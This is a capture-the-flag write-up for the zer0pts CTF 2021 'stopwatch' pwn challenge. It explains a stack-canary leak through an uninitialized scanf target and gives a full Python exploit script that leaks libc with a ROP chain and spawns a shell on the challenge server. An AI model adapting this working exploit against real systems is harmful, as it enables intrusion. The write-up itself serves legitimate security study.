# stopwatch - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` `pwn` ## Challenge Overview An x64 ELF and its source code are provided. The vulnerability is obviously stack overflow in multiple places: ```c int ask_again(void) { char buf[0x10]; printf("Play again? (Y/n) "); scanf("%s", buf); readuntil('\n'); if (buf[0] == 'n' || buf[0] == 'N') return 0; else return 1; } ... void ask_name(void) { char _name[0x80]; printf("What is your name?\n> "); scanf("%s", _name); strcpy(name, _name); } ``` However, SSP is enabled. ``` $ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 80 Symbols Yes 0 4 chall ``` ## Solution We have to leak the stack canary somehow. Let's focus on the following piece of code. ```c void ask_time(double *t) { printf("Time[sec]: "); scanf("%lf", t); // [2] readuntil('\n'); } double play_game(void) { struct timeval start, end; double delta, goal, diff; // [1] ask_time(&goal); printf("Stop the timer as close to %lf seconds as possible!\n", goal); ``` The variable `goal` is not initialized at [1] but the input is given at [2]. However, the program doesn't check the return value of `scanf`. If we feed an invalid input, `scanf` does not update the value of `goal`. So, if the canary leftover happens to come to the address of `goal`, we can leak the stack canary. After that is simple: just abuse the stack overflow to get the shell. # Exploit ```python= from ptrlib import * libc = ELF("../distfiles/libc.so.6") elf = ELF("../distfiles/chall") rop_ret = 0x00400e94 rop_pop_rdi = 0x00400e93 with Socket("pwn.ctf.zer0pts.com", 9002) as sock: sock.sendlineafter("> ", "taro") sock.sendlineafter("> ", "16") # leak canary sock.sendlineafter(": ", "+") r = sock.recvregex("to (\-*\d+\.\d+) seconds") sock.send("\n\n") if float(r[0]) == 0.0: logger.warn("Bad luck!") exit(1) canary = u64(p64(float(r[0]))) logger.info("canary = " + hex(canary)) # leak libc payload = b'A' * 0x18 payload += p64(canary) payload += p64(0xdeadbeef) payload += p64(rop_pop_rdi) payload += p64(0x601ff0) payload += p64(elf.plt("puts")) payload += p64(elf.symbol("_start")) assert b'\n' not in payload assert b' ' not in payload sock.sendlineafter("(Y/n) ", payload) libc_base = u64(sock.recvline()) - libc.symbol("__libc_start_main") logger.info("libc = " + hex(libc_base)) # get the shell payload = b'A' * 0x88 payload += p64(canary) payload += p64(0xdeadbeef) payload += p64(rop_ret) payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find('/bin/sh'))) payload += p64(libc_base + libc.symbol('system')) sock.sendlineafter("> ", payload) sock.interactive() ```